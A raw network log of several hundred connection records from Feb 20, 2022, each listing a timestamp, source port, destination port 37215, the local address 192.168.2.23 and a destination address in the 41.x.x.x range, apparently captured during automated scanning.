Feb 20, 2022 15:50:57.681158066 CET	1898	37215	192.168.2.23	41.113.248.38
Feb 20, 2022 15:50:57.681162119 CET	1898	37215	192.168.2.23	41.74.185.47
Feb 20, 2022 15:50:57.681165934 CET	1898	37215	192.168.2.23	41.152.168.181
Feb 20, 2022 15:50:57.681181908 CET	1898	37215	192.168.2.23	41.214.153.126
Feb 20, 2022 15:50:57.681224108 CET	1898	37215	192.168.2.23	41.153.194.57
Feb 20, 2022 15:50:57.681242943 CET	1898	37215	192.168.2.23	41.140.241.140
Feb 20, 2022 15:50:57.681294918 CET	1898	37215	192.168.2.23	41.72.170.251
Feb 20, 2022 15:50:57.681322098 CET	1898	37215	192.168.2.23	41.5.100.64
Feb 20, 2022 15:50:57.681323051 CET	1898	37215	192.168.2.23	41.184.158.227
Feb 20, 2022 15:50:57.681339025 CET	1898	37215	192.168.2.23	41.110.224.243
Feb 20, 2022 15:50:57.681377888 CET	1898	37215	192.168.2.23	41.131.39.151
Feb 20, 2022 15:50:57.681380033 CET	1898	37215	192.168.2.23	41.71.144.76
Feb 20, 2022 15:50:57.681406975 CET	1898	37215	192.168.2.23	41.30.39.43
Feb 20, 2022 15:50:57.681412935 CET	1898	37215	192.168.2.23	41.204.138.131
Feb 20, 2022 15:50:57.681433916 CET	1898	37215	192.168.2.23	41.138.74.83
Feb 20, 2022 15:50:57.681441069 CET	1898	37215	192.168.2.23	41.105.101.148
Feb 20, 2022 15:50:57.681473017 CET	1898	37215	192.168.2.23	41.108.185.76
Feb 20, 2022 15:50:57.681502104 CET	1898	37215	192.168.2.23	41.4.93.68
Feb 20, 2022 15:50:57.681534052 CET	1898	37215	192.168.2.23	41.13.26.32
Feb 20, 2022 15:50:57.681572914 CET	1898	37215	192.168.2.23	41.126.221.78
Feb 20, 2022 15:50:57.681600094 CET	1898	37215	192.168.2.23	41.44.180.72
Feb 20, 2022 15:50:57.681602955 CET	1898	37215	192.168.2.23	41.2.204.169
Feb 20, 2022 15:50:57.681613922 CET	1898	37215	192.168.2.23	41.186.125.59
Feb 20, 2022 15:50:57.681622982 CET	1898	37215	192.168.2.23	41.184.147.171
Feb 20, 2022 15:50:57.681652069 CET	1898	37215	192.168.2.23	41.232.5.173
Feb 20, 2022 15:50:57.681689978 CET	1898	37215	192.168.2.23	41.79.129.86
Feb 20, 2022 15:50:57.681732893 CET	1898	37215	192.168.2.23	41.170.231.124
Feb 20, 2022 15:50:57.681735992 CET	1898	37215	192.168.2.23	41.110.255.113
Feb 20, 2022 15:50:57.681749105 CET	1898	37215	192.168.2.23	41.82.36.236
Feb 20, 2022 15:50:57.681750059 CET	1898	37215	192.168.2.23	41.193.185.81
Feb 20, 2022 15:50:57.681804895 CET	1898	37215	192.168.2.23	41.61.21.196
Feb 20, 2022 15:50:57.681865931 CET	1898	37215	192.168.2.23	41.81.158.11
Feb 20, 2022 15:50:57.681883097 CET	1898	37215	192.168.2.23	41.253.129.227
Feb 20, 2022 15:50:57.681893110 CET	1898	37215	192.168.2.23	41.20.38.240
Feb 20, 2022 15:50:57.681911945 CET	1898	37215	192.168.2.23	41.2.111.11
Feb 20, 2022 15:50:57.681912899 CET	1898	37215	192.168.2.23	41.18.161.42
Feb 20, 2022 15:50:57.681915998 CET	1898	37215	192.168.2.23	41.223.58.9
Feb 20, 2022 15:50:57.681955099 CET	1898	37215	192.168.2.23	41.187.143.162
Feb 20, 2022 15:50:57.681976080 CET	1898	37215	192.168.2.23	41.27.45.114
Feb 20, 2022 15:50:57.681987047 CET	1898	37215	192.168.2.23	41.165.221.203
Feb 20, 2022 15:50:57.682091951 CET	1898	37215	192.168.2.23	41.99.254.44
Feb 20, 2022 15:50:57.682106018 CET	1898	37215	192.168.2.23	41.228.95.187
Feb 20, 2022 15:50:57.682113886 CET	1898	37215	192.168.2.23	41.233.126.128
Feb 20, 2022 15:50:57.682126999 CET	1898	37215	192.168.2.23	41.211.197.236
Feb 20, 2022 15:50:57.682146072 CET	1898	37215	192.168.2.23	41.204.229.78
Feb 20, 2022 15:50:57.682169914 CET	1898	37215	192.168.2.23	41.7.65.120
Feb 20, 2022 15:50:57.682169914 CET	1898	37215	192.168.2.23	41.112.243.68
Feb 20, 2022 15:50:57.682229042 CET	1898	37215	192.168.2.23	41.207.16.189
Feb 20, 2022 15:50:57.682250023 CET	1898	37215	192.168.2.23	41.126.114.136
Feb 20, 2022 15:50:57.682271957 CET	1898	37215	192.168.2.23	41.255.154.25
Feb 20, 2022 15:50:57.682326078 CET	1898	37215	192.168.2.23	41.166.175.230
Feb 20, 2022 15:50:57.682332993 CET	1898	37215	192.168.2.23	41.250.70.77
Feb 20, 2022 15:50:57.682365894 CET	1898	37215	192.168.2.23	41.126.85.176
Feb 20, 2022 15:50:57.682368040 CET	1898	37215	192.168.2.23	41.187.132.46
Feb 20, 2022 15:50:57.682382107 CET	1898	37215	192.168.2.23	41.56.105.16
Feb 20, 2022 15:50:57.682399035 CET	1898	37215	192.168.2.23	41.167.167.148
Feb 20, 2022 15:50:57.682435989 CET	1898	37215	192.168.2.23	41.93.0.92
Feb 20, 2022 15:50:57.682461023 CET	1898	37215	192.168.2.23	41.206.132.30
Feb 20, 2022 15:50:57.682486057 CET	1898	37215	192.168.2.23	41.43.191.8
Feb 20, 2022 15:50:57.682497025 CET	1898	37215	192.168.2.23	41.169.7.133
Feb 20, 2022 15:50:57.682498932 CET	1898	37215	192.168.2.23	41.247.26.31
Feb 20, 2022 15:50:57.682554007 CET	1898	37215	192.168.2.23	41.76.249.10
Feb 20, 2022 15:50:57.682554960 CET	1898	37215	192.168.2.23	41.175.190.184
Feb 20, 2022 15:50:57.682554960 CET	1898	37215	192.168.2.23	41.193.15.200
Feb 20, 2022 15:50:57.682574034 CET	1898	37215	192.168.2.23	41.31.100.8
Feb 20, 2022 15:50:57.682596922 CET	1898	37215	192.168.2.23	41.204.225.12
Feb 20, 2022 15:50:57.682646990 CET	1898	37215	192.168.2.23	41.165.225.57
Feb 20, 2022 15:50:57.682647943 CET	1898	37215	192.168.2.23	41.245.52.10
Feb 20, 2022 15:50:57.682648897 CET	1898	37215	192.168.2.23	41.92.58.34
Feb 20, 2022 15:50:57.682657957 CET	1898	37215	192.168.2.23	41.9.120.142
Feb 20, 2022 15:50:57.682692051 CET	1898	37215	192.168.2.23	41.25.41.76
Feb 20, 2022 15:50:57.682732105 CET	1898	37215	192.168.2.23	41.228.210.74
Feb 20, 2022 15:50:57.682774067 CET	1898	37215	192.168.2.23	41.86.31.69
Feb 20, 2022 15:50:57.682799101 CET	1898	37215	192.168.2.23	41.66.1.88
Feb 20, 2022 15:50:57.682820082 CET	1898	37215	192.168.2.23	41.31.18.212
Feb 20, 2022 15:50:57.682838917 CET	1898	37215	192.168.2.23	41.103.164.206
Feb 20, 2022 15:50:57.682843924 CET	1898	37215	192.168.2.23	41.195.205.233
Feb 20, 2022 15:50:57.682872057 CET	1898	37215	192.168.2.23	41.190.30.234
Feb 20, 2022 15:50:57.682905912 CET	1898	37215	192.168.2.23	41.10.59.218
Feb 20, 2022 15:50:57.682925940 CET	1898	37215	192.168.2.23	41.125.93.227
Feb 20, 2022 15:50:57.682980061 CET	1898	37215	192.168.2.23	41.70.128.56
Feb 20, 2022 15:50:57.682988882 CET	1898	37215	192.168.2.23	41.169.146.116
Feb 20, 2022 15:50:57.683016062 CET	1898	37215	192.168.2.23	41.41.244.146
Feb 20, 2022 15:50:57.683022976 CET	1898	37215	192.168.2.23	41.160.185.120
Feb 20, 2022 15:50:57.683047056 CET	1898	37215	192.168.2.23	41.125.186.141
Feb 20, 2022 15:50:57.683075905 CET	1898	37215	192.168.2.23	41.243.174.17
Feb 20, 2022 15:50:57.683100939 CET	1898	37215	192.168.2.23	41.84.147.13
Feb 20, 2022 15:50:57.683141947 CET	1898	37215	192.168.2.23	41.172.190.42
Feb 20, 2022 15:50:57.683146954 CET	1898	37215	192.168.2.23	41.30.6.89
Feb 20, 2022 15:50:57.683167934 CET	1898	37215	192.168.2.23	41.228.111.94
Feb 20, 2022 15:50:57.683173895 CET	1898	37215	192.168.2.23	41.149.77.43
Feb 20, 2022 15:50:57.683180094 CET	1898	37215	192.168.2.23	41.245.222.200
Feb 20, 2022 15:50:57.683245897 CET	1898	37215	192.168.2.23	41.32.73.79
Feb 20, 2022 15:50:57.683247089 CET	1898	37215	192.168.2.23	41.71.177.27
Feb 20, 2022 15:50:57.683250904 CET	1898	37215	192.168.2.23	41.56.33.230
Feb 20, 2022 15:50:57.683301926 CET	1898	37215	192.168.2.23	41.54.235.52
Feb 20, 2022 15:50:57.683305025 CET	1898	37215	192.168.2.23	41.149.205.126
Feb 20, 2022 15:50:57.683315992 CET	1898	37215	192.168.2.23	41.128.164.151
Feb 20, 2022 15:50:57.683361053 CET	1898	37215	192.168.2.23	41.134.103.92
Feb 20, 2022 15:50:57.683413982 CET	1898	37215	192.168.2.23	41.42.240.188
Feb 20, 2022 15:50:57.683435917 CET	1898	37215	192.168.2.23	41.156.166.152
Feb 20, 2022 15:50:57.683439970 CET	1898	37215	192.168.2.23	41.239.110.200
Feb 20, 2022 15:50:57.683446884 CET	1898	37215	192.168.2.23	41.119.60.237
Feb 20, 2022 15:50:57.683460951 CET	1898	37215	192.168.2.23	41.164.87.28
Feb 20, 2022 15:50:57.683521032 CET	1898	37215	192.168.2.23	41.40.28.250
Feb 20, 2022 15:50:57.683540106 CET	1898	37215	192.168.2.23	41.4.7.251
Feb 20, 2022 15:50:57.683562040 CET	1898	37215	192.168.2.23	41.35.173.62
Feb 20, 2022 15:50:57.683592081 CET	1898	37215	192.168.2.23	41.164.203.38
Feb 20, 2022 15:50:57.683593988 CET	1898	37215	192.168.2.23	41.88.183.254
Feb 20, 2022 15:50:57.683610916 CET	1898	37215	192.168.2.23	41.174.218.250
Feb 20, 2022 15:50:57.683623075 CET	1898	37215	192.168.2.23	41.161.185.192
Feb 20, 2022 15:50:57.683656931 CET	1898	37215	192.168.2.23	41.178.74.165
Feb 20, 2022 15:50:57.683692932 CET	1898	37215	192.168.2.23	41.183.1.184
Feb 20, 2022 15:50:57.683696032 CET	1898	37215	192.168.2.23	41.38.71.41
Feb 20, 2022 15:50:57.683696032 CET	1898	37215	192.168.2.23	41.95.58.67
Feb 20, 2022 15:50:57.683779955 CET	1386	37215	192.168.2.23	41.169.249.146
Feb 20, 2022 15:50:57.683784962 CET	1386	37215	192.168.2.23	41.63.236.238
Feb 20, 2022 15:50:57.683788061 CET	1386	37215	192.168.2.23	41.212.207.101
Feb 20, 2022 15:50:57.683837891 CET	1386	37215	192.168.2.23	41.40.72.208
Feb 20, 2022 15:50:57.683844090 CET	1386	37215	192.168.2.23	41.144.32.46
Feb 20, 2022 15:50:57.683844090 CET	1386	37215	192.168.2.23	41.225.105.103
Feb 20, 2022 15:50:57.683861017 CET	1386	37215	192.168.2.23	41.211.244.192
Feb 20, 2022 15:50:57.683927059 CET	1386	37215	192.168.2.23	41.242.121.243
Feb 20, 2022 15:50:57.683928967 CET	1386	37215	192.168.2.23	41.107.123.133
Feb 20, 2022 15:50:57.683937073 CET	1386	37215	192.168.2.23	41.206.173.153
Feb 20, 2022 15:50:57.683960915 CET	1386	37215	192.168.2.23	41.196.50.24
Feb 20, 2022 15:50:57.683994055 CET	1386	37215	192.168.2.23	41.181.54.132
Feb 20, 2022 15:50:57.684000015 CET	1386	37215	192.168.2.23	41.231.191.166
Feb 20, 2022 15:50:57.684010983 CET	1386	37215	192.168.2.23	41.142.138.32
Feb 20, 2022 15:50:57.684020042 CET	1386	37215	192.168.2.23	41.31.100.167
Feb 20, 2022 15:50:57.684092999 CET	1386	37215	192.168.2.23	41.117.8.209
Feb 20, 2022 15:50:57.684096098 CET	1386	37215	192.168.2.23	41.122.228.178
Feb 20, 2022 15:50:57.684101105 CET	1386	37215	192.168.2.23	41.86.44.148
Feb 20, 2022 15:50:57.684155941 CET	1386	37215	192.168.2.23	41.56.218.235
Feb 20, 2022 15:50:57.684164047 CET	1386	37215	192.168.2.23	41.196.144.103
Feb 20, 2022 15:50:57.684165001 CET	1386	37215	192.168.2.23	41.197.65.246
Feb 20, 2022 15:50:57.684207916 CET	1386	37215	192.168.2.23	41.167.62.178
Feb 20, 2022 15:50:57.684245110 CET	1386	37215	192.168.2.23	41.58.85.198
Feb 20, 2022 15:50:57.684247971 CET	1386	37215	192.168.2.23	41.234.215.195
Feb 20, 2022 15:50:57.684268951 CET	1386	37215	192.168.2.23	41.241.200.149
Feb 20, 2022 15:50:57.684309959 CET	1386	37215	192.168.2.23	41.246.40.183
Feb 20, 2022 15:50:57.684310913 CET	1386	37215	192.168.2.23	41.196.5.211
Feb 20, 2022 15:50:57.684314966 CET	1386	37215	192.168.2.23	41.154.35.236
Feb 20, 2022 15:50:57.684356928 CET	1386	37215	192.168.2.23	41.135.122.174
Feb 20, 2022 15:50:57.684370995 CET	1386	37215	192.168.2.23	41.143.1.6
Feb 20, 2022 15:50:57.684421062 CET	1386	37215	192.168.2.23	41.116.173.185
Feb 20, 2022 15:50:57.684421062 CET	1386	37215	192.168.2.23	41.97.190.52
Feb 20, 2022 15:50:57.684427977 CET	1386	37215	192.168.2.23	41.118.61.103
Feb 20, 2022 15:50:57.684437990 CET	1386	37215	192.168.2.23	41.107.75.59
Feb 20, 2022 15:50:57.684458971 CET	1386	37215	192.168.2.23	41.123.234.130
Feb 20, 2022 15:50:57.684506893 CET	1386	37215	192.168.2.23	41.32.120.202
Feb 20, 2022 15:50:57.684529066 CET	1386	37215	192.168.2.23	41.62.78.36
Feb 20, 2022 15:50:57.684557915 CET	1386	37215	192.168.2.23	41.90.52.24
Feb 20, 2022 15:50:57.684586048 CET	1386	37215	192.168.2.23	41.55.207.147
Feb 20, 2022 15:50:57.684592962 CET	1386	37215	192.168.2.23	41.166.85.221
Feb 20, 2022 15:50:57.684593916 CET	1386	37215	192.168.2.23	41.163.54.211
Feb 20, 2022 15:50:57.684623957 CET	1386	37215	192.168.2.23	41.216.147.133
Feb 20, 2022 15:50:57.684663057 CET	1386	37215	192.168.2.23	41.107.53.231
Feb 20, 2022 15:50:57.684685946 CET	1386	37215	192.168.2.23	41.134.144.29
Feb 20, 2022 15:50:57.684709072 CET	1386	37215	192.168.2.23	41.49.33.140
Feb 20, 2022 15:50:57.684729099 CET	1386	37215	192.168.2.23	41.109.70.236
Feb 20, 2022 15:50:57.684739113 CET	1386	37215	192.168.2.23	41.102.165.102
Feb 20, 2022 15:50:57.684741974 CET	1386	37215	192.168.2.23	41.218.100.75
Feb 20, 2022 15:50:57.684791088 CET	1386	37215	192.168.2.23	41.154.169.150
Feb 20, 2022 15:50:57.684804916 CET	1386	37215	192.168.2.23	41.29.91.235
Feb 20, 2022 15:50:57.684818029 CET	1386	37215	192.168.2.23	41.154.233.64
Feb 20, 2022 15:50:57.684833050 CET	1386	37215	192.168.2.23	41.49.216.6
Feb 20, 2022 15:50:57.684845924 CET	1386	37215	192.168.2.23	41.179.166.23
Feb 20, 2022 15:50:57.684849977 CET	1386	37215	192.168.2.23	41.108.215.154
Feb 20, 2022 15:50:57.684869051 CET	1386	37215	192.168.2.23	41.21.247.114
Feb 20, 2022 15:50:57.684884071 CET	1386	37215	192.168.2.23	41.93.216.84
Feb 20, 2022 15:50:57.684933901 CET	1386	37215	192.168.2.23	41.104.1.116
Feb 20, 2022 15:50:57.684966087 CET	1386	37215	192.168.2.23	41.91.38.131
Feb 20, 2022 15:50:57.684982061 CET	1386	37215	192.168.2.23	41.243.201.163
Feb 20, 2022 15:50:57.684989929 CET	1386	37215	192.168.2.23	41.141.174.195
Feb 20, 2022 15:50:57.684994936 CET	1386	37215	192.168.2.23	41.121.109.8
Feb 20, 2022 15:50:57.685054064 CET	1386	37215	192.168.2.23	41.230.113.136
Feb 20, 2022 15:50:57.685080051 CET	1386	37215	192.168.2.23	41.41.206.23
Feb 20, 2022 15:50:57.685084105 CET	1386	37215	192.168.2.23	41.205.254.80
Feb 20, 2022 15:50:57.685095072 CET	1386	37215	192.168.2.23	41.179.166.179
Feb 20, 2022 15:50:57.685107946 CET	1386	37215	192.168.2.23	41.201.45.209
Feb 20, 2022 15:50:57.685136080 CET	1386	37215	192.168.2.23	41.10.43.231
Feb 20, 2022 15:50:57.685175896 CET	1386	37215	192.168.2.23	41.200.26.136
Feb 20, 2022 15:50:57.685230970 CET	1386	37215	192.168.2.23	41.189.229.199
Feb 20, 2022 15:50:57.685235977 CET	1386	37215	192.168.2.23	41.184.178.202
Feb 20, 2022 15:50:57.685249090 CET	1386	37215	192.168.2.23	41.43.235.150
Feb 20, 2022 15:50:57.685255051 CET	1386	37215	192.168.2.23	41.4.66.126
Feb 20, 2022 15:50:57.685256958 CET	1386	37215	192.168.2.23	41.252.92.89
Feb 20, 2022 15:50:57.685283899 CET	1386	37215	192.168.2.23	41.224.148.25
Feb 20, 2022 15:50:57.685288906 CET	1386	37215	192.168.2.23	41.247.18.243
Feb 20, 2022 15:50:57.685318947 CET	1386	37215	192.168.2.23	41.103.20.227
Feb 20, 2022 15:50:57.685327053 CET	1386	37215	192.168.2.23	41.5.141.170
Feb 20, 2022 15:50:57.685342073 CET	1386	37215	192.168.2.23	41.223.179.141
Feb 20, 2022 15:50:57.685359955 CET	1386	37215	192.168.2.23	41.190.76.129
Feb 20, 2022 15:50:57.685386896 CET	1386	37215	192.168.2.23	41.173.29.221
Feb 20, 2022 15:50:57.685420990 CET	1386	37215	192.168.2.23	41.6.198.6
Feb 20, 2022 15:50:57.685460091 CET	1386	37215	192.168.2.23	41.194.106.243
Feb 20, 2022 15:50:57.685480118 CET	1386	37215	192.168.2.23	41.173.240.109
Feb 20, 2022 15:50:57.685484886 CET	1386	37215	192.168.2.23	41.58.225.244
Feb 20, 2022 15:50:57.685497999 CET	1386	37215	192.168.2.23	41.144.112.239
Feb 20, 2022 15:50:57.685512066 CET	1386	37215	192.168.2.23	41.174.158.98
Feb 20, 2022 15:50:57.685561895 CET	1386	37215	192.168.2.23	41.16.45.4
Feb 20, 2022 15:50:57.685564995 CET	1386	37215	192.168.2.23	41.126.132.215
Feb 20, 2022 15:50:57.685571909 CET	1386	37215	192.168.2.23	41.95.11.136
Feb 20, 2022 15:50:57.685595036 CET	1386	37215	192.168.2.23	41.12.162.63
Feb 20, 2022 15:50:57.685632944 CET	1386	37215	192.168.2.23	41.209.253.146
Feb 20, 2022 15:50:57.685636044 CET	1386	37215	192.168.2.23	41.180.12.81
Feb 20, 2022 15:50:57.685637951 CET	1386	37215	192.168.2.23	41.21.92.74
Feb 20, 2022 15:50:57.685657024 CET	1386	37215	192.168.2.23	41.117.205.205
Feb 20, 2022 15:50:57.685694933 CET	1386	37215	192.168.2.23	41.156.124.70
Feb 20, 2022 15:50:57.685745001 CET	1386	37215	192.168.2.23	41.67.152.27
Feb 20, 2022 15:50:57.685769081 CET	1386	37215	192.168.2.23	41.133.113.91
Feb 20, 2022 15:50:57.685771942 CET	1386	37215	192.168.2.23	41.49.111.238
Feb 20, 2022 15:50:57.685785055 CET	1386	37215	192.168.2.23	41.194.187.234
Feb 20, 2022 15:50:57.685794115 CET	1386	37215	192.168.2.23	41.216.236.175
Feb 20, 2022 15:50:57.685807943 CET	1386	37215	192.168.2.23	41.164.188.121
Feb 20, 2022 15:50:57.685864925 CET	1386	37215	192.168.2.23	41.31.98.205
Feb 20, 2022 15:50:57.685877085 CET	1386	37215	192.168.2.23	41.112.69.252
Feb 20, 2022 15:50:57.685880899 CET	1386	37215	192.168.2.23	41.241.218.70
Feb 20, 2022 15:50:57.685906887 CET	1386	37215	192.168.2.23	41.158.151.205
Feb 20, 2022 15:50:57.685947895 CET	1386	37215	192.168.2.23	41.21.24.185
Feb 20, 2022 15:50:57.685962915 CET	1386	37215	192.168.2.23	41.177.80.215
Feb 20, 2022 15:50:57.686000109 CET	1386	37215	192.168.2.23	41.212.212.27
Feb 20, 2022 15:50:57.686002016 CET	1386	37215	192.168.2.23	41.92.125.144
Feb 20, 2022 15:50:57.686013937 CET	1386	37215	192.168.2.23	41.141.132.48
Feb 20, 2022 15:50:57.686027050 CET	1386	37215	192.168.2.23	41.124.205.193
Feb 20, 2022 15:50:57.686077118 CET	1386	37215	192.168.2.23	41.186.209.211
Feb 20, 2022 15:50:57.686080933 CET	1386	37215	192.168.2.23	41.164.10.252
Feb 20, 2022 15:50:57.686093092 CET	1386	37215	192.168.2.23	41.172.124.46
Feb 20, 2022 15:50:57.686125994 CET	1386	37215	192.168.2.23	41.9.132.133
Feb 20, 2022 15:50:57.686152935 CET	1386	37215	192.168.2.23	41.220.238.202
Feb 20, 2022 15:50:57.686181068 CET	1386	37215	192.168.2.23	41.239.4.109
Feb 20, 2022 15:50:57.686213970 CET	1386	37215	192.168.2.23	41.207.164.141
Feb 20, 2022 15:50:57.686242104 CET	1386	37215	192.168.2.23	41.166.191.137
Feb 20, 2022 15:50:57.686243057 CET	1386	37215	192.168.2.23	41.96.103.5
Feb 20, 2022 15:50:57.686254978 CET	1386	37215	192.168.2.23	41.172.134.100
Feb 20, 2022 15:50:57.686299086 CET	1386	37215	192.168.2.23	41.146.249.81
Feb 20, 2022 15:50:57.686302900 CET	1386	37215	192.168.2.23	41.135.128.155
Feb 20, 2022 15:50:57.686305046 CET	1386	37215	192.168.2.23	41.114.0.131
Feb 20, 2022 15:50:57.686316013 CET	1386	37215	192.168.2.23	41.23.27.93
Feb 20, 2022 15:50:57.686378002 CET	1386	37215	192.168.2.23	41.153.141.220
Feb 20, 2022 15:50:57.686412096 CET	1386	37215	192.168.2.23	41.112.52.96
Feb 20, 2022 15:50:57.686456919 CET	1386	37215	192.168.2.23	41.66.148.119
Feb 20, 2022 15:50:57.686477900 CET	1386	37215	192.168.2.23	41.9.154.102
Feb 20, 2022 15:50:57.686492920 CET	1386	37215	192.168.2.23	41.40.15.121
Feb 20, 2022 15:50:57.686507940 CET	1386	37215	192.168.2.23	41.179.150.74
Feb 20, 2022 15:50:57.686507940 CET	1386	37215	192.168.2.23	41.21.37.49
Feb 20, 2022 15:50:57.686511040 CET	1386	37215	192.168.2.23	41.116.199.33
Feb 20, 2022 15:50:57.686551094 CET	1386	37215	192.168.2.23	41.168.29.193
Feb 20, 2022 15:50:57.686574936 CET	1386	37215	192.168.2.23	41.196.48.118
Feb 20, 2022 15:50:57.686630011 CET	1386	37215	192.168.2.23	41.5.13.78
Feb 20, 2022 15:50:57.686633110 CET	1386	37215	192.168.2.23	41.66.17.183
Feb 20, 2022 15:50:57.686646938 CET	1386	37215	192.168.2.23	41.23.63.185
Feb 20, 2022 15:50:57.686675072 CET	1386	37215	192.168.2.23	41.105.105.36
Feb 20, 2022 15:50:57.686701059 CET	1386	37215	192.168.2.23	41.56.45.120
Feb 20, 2022 15:50:57.686731100 CET	1386	37215	192.168.2.23	41.85.211.65
Feb 20, 2022 15:50:57.686752081 CET	1386	37215	192.168.2.23	41.2.29.250
Feb 20, 2022 15:50:57.686817884 CET	1386	37215	192.168.2.23	41.217.234.39
Feb 20, 2022 15:50:57.686832905 CET	1386	37215	192.168.2.23	41.164.103.246
Feb 20, 2022 15:50:57.686846972 CET	1386	37215	192.168.2.23	41.186.168.195
Feb 20, 2022 15:50:57.686873913 CET	1386	37215	192.168.2.23	41.179.212.59
Feb 20, 2022 15:50:57.686913013 CET	1386	37215	192.168.2.23	41.41.80.18
Feb 20, 2022 15:50:57.686913013 CET	1386	37215	192.168.2.23	41.124.20.196
Feb 20, 2022 15:50:57.686913967 CET	1386	37215	192.168.2.23	41.146.163.209
Feb 20, 2022 15:50:57.686994076 CET	1386	37215	192.168.2.23	41.145.45.94
Feb 20, 2022 15:50:57.686994076 CET	1386	37215	192.168.2.23	41.63.50.145
Feb 20, 2022 15:50:57.687024117 CET	1386	37215	192.168.2.23	41.13.132.108
Feb 20, 2022 15:50:57.687031984 CET	1386	37215	192.168.2.23	41.113.206.223
Feb 20, 2022 15:50:57.687087059 CET	1386	37215	192.168.2.23	41.190.180.56
Feb 20, 2022 15:50:57.687103033 CET	1386	37215	192.168.2.23	41.62.197.97
Feb 20, 2022 15:50:57.687127113 CET	1386	37215	192.168.2.23	41.61.150.128
Feb 20, 2022 15:50:57.687139988 CET	1386	37215	192.168.2.23	41.68.68.93
Feb 20, 2022 15:50:57.687158108 CET	1386	37215	192.168.2.23	41.247.249.69
Feb 20, 2022 15:50:57.687181950 CET	1386	37215	192.168.2.23	41.99.170.216
Feb 20, 2022 15:50:57.687206030 CET	1386	37215	192.168.2.23	41.230.92.31
Feb 20, 2022 15:50:57.687210083 CET	1386	37215	192.168.2.23	41.56.253.166
Feb 20, 2022 15:50:57.687215090 CET	1386	37215	192.168.2.23	41.118.164.5
Feb 20, 2022 15:50:57.687236071 CET	1386	37215	192.168.2.23	41.190.255.163
Feb 20, 2022 15:50:57.687257051 CET	1386	37215	192.168.2.23	41.132.32.237
Feb 20, 2022 15:50:57.687299013 CET	1386	37215	192.168.2.23	41.61.49.82
Feb 20, 2022 15:50:57.687321901 CET	1386	37215	192.168.2.23	41.158.46.230
Feb 20, 2022 15:50:57.687355995 CET	1386	37215	192.168.2.23	41.105.122.101
Feb 20, 2022 15:50:57.687356949 CET	1386	37215	192.168.2.23	41.51.155.99
Feb 20, 2022 15:50:57.687356949 CET	1386	37215	192.168.2.23	41.79.173.21
Feb 20, 2022 15:50:57.687424898 CET	1386	37215	192.168.2.23	41.88.104.174
Feb 20, 2022 15:50:57.687428951 CET	1386	37215	192.168.2.23	41.35.225.190
Feb 20, 2022 15:50:57.687438011 CET	1386	37215	192.168.2.23	41.217.102.225
Feb 20, 2022 15:50:57.687439919 CET	1386	37215	192.168.2.23	41.253.165.112
Feb 20, 2022 15:50:57.687453985 CET	1386	37215	192.168.2.23	41.122.55.2
Feb 20, 2022 15:50:57.687489986 CET	1386	37215	192.168.2.23	41.238.125.3
Feb 20, 2022 15:50:57.687542915 CET	1386	37215	192.168.2.23	41.28.181.110
Feb 20, 2022 15:50:57.687544107 CET	1386	37215	192.168.2.23	41.84.191.198
Feb 20, 2022 15:50:57.687556028 CET	1386	37215	192.168.2.23	41.66.90.112
Feb 20, 2022 15:50:57.687578917 CET	1386	37215	192.168.2.23	41.82.247.12
Feb 20, 2022 15:50:57.687586069 CET	1386	37215	192.168.2.23	41.254.133.132
Feb 20, 2022 15:50:57.687608004 CET	1386	37215	192.168.2.23	41.97.130.213
Feb 20, 2022 15:50:57.687637091 CET	1386	37215	192.168.2.23	41.223.39.49
Feb 20, 2022 15:50:57.687685013 CET	1386	37215	192.168.2.23	41.195.238.8
Feb 20, 2022 15:50:57.687726021 CET	1386	37215	192.168.2.23	41.81.199.143
Feb 20, 2022 15:50:57.687736034 CET	1386	37215	192.168.2.23	41.250.68.187
Feb 20, 2022 15:50:57.687742949 CET	1386	37215	192.168.2.23	41.43.7.90
Feb 20, 2022 15:50:57.687767982 CET	1386	37215	192.168.2.23	41.224.223.168
Feb 20, 2022 15:50:57.687799931 CET	1386	37215	192.168.2.23	41.61.224.165
Feb 20, 2022 15:50:57.687844992 CET	1386	37215	192.168.2.23	41.28.179.73
Feb 20, 2022 15:50:57.687892914 CET	1386	37215	192.168.2.23	41.11.180.126
Feb 20, 2022 15:50:57.687894106 CET	1386	37215	192.168.2.23	41.217.26.24
Feb 20, 2022 15:50:57.687907934 CET	1386	37215	192.168.2.23	41.77.251.75
Feb 20, 2022 15:50:57.687917948 CET	1386	37215	192.168.2.23	41.107.22.154
Feb 20, 2022 15:50:57.687936068 CET	1386	37215	192.168.2.23	41.168.0.241
Feb 20, 2022 15:50:57.687964916 CET	1386	37215	192.168.2.23	41.56.50.56
Feb 20, 2022 15:50:57.688024998 CET	1386	37215	192.168.2.23	41.138.109.240
Feb 20, 2022 15:50:57.688046932 CET	1386	37215	192.168.2.23	41.63.198.135
Feb 20, 2022 15:50:57.688074112 CET	1386	37215	192.168.2.23	41.48.101.147
Feb 20, 2022 15:50:57.688076019 CET	1386	37215	192.168.2.23	41.105.232.191
Feb 20, 2022 15:50:57.688077927 CET	1386	37215	192.168.2.23	41.233.62.222
Feb 20, 2022 15:50:57.688102007 CET	1386	37215	192.168.2.23	41.176.70.92
Feb 20, 2022 15:50:57.688107014 CET	1386	37215	192.168.2.23	41.133.72.199
Feb 20, 2022 15:50:57.688168049 CET	1386	37215	192.168.2.23	41.79.64.156
Feb 20, 2022 15:50:57.688168049 CET	1386	37215	192.168.2.23	41.99.192.102
Feb 20, 2022 15:50:57.688186884 CET	1386	37215	192.168.2.23	41.213.204.242
Feb 20, 2022 15:50:57.688219070 CET	1386	37215	192.168.2.23	41.76.11.253
Feb 20, 2022 15:50:57.688225985 CET	1386	37215	192.168.2.23	41.88.150.89
Feb 20, 2022 15:50:57.688235998 CET	1386	37215	192.168.2.23	41.163.224.209
Feb 20, 2022 15:50:57.688249111 CET	1386	37215	192.168.2.23	41.103.194.200
Feb 20, 2022 15:50:57.688297987 CET	1386	37215	192.168.2.23	41.251.43.55
Feb 20, 2022 15:50:57.688301086 CET	1386	37215	192.168.2.23	41.172.68.38
Feb 20, 2022 15:50:57.688302994 CET	1386	37215	192.168.2.23	41.233.158.179
Feb 20, 2022 15:50:57.688357115 CET	1386	37215	192.168.2.23	41.195.66.107
Feb 20, 2022 15:50:57.688396931 CET	1386	37215	192.168.2.23	41.202.175.229
Feb 20, 2022 15:50:57.688405991 CET	1386	37215	192.168.2.23	41.100.47.104
Feb 20, 2022 15:50:57.688417912 CET	1386	37215	192.168.2.23	41.66.174.242
Feb 20, 2022 15:50:57.688419104 CET	1386	37215	192.168.2.23	41.181.29.175
Feb 20, 2022 15:50:57.688461065 CET	1386	37215	192.168.2.23	41.107.57.80
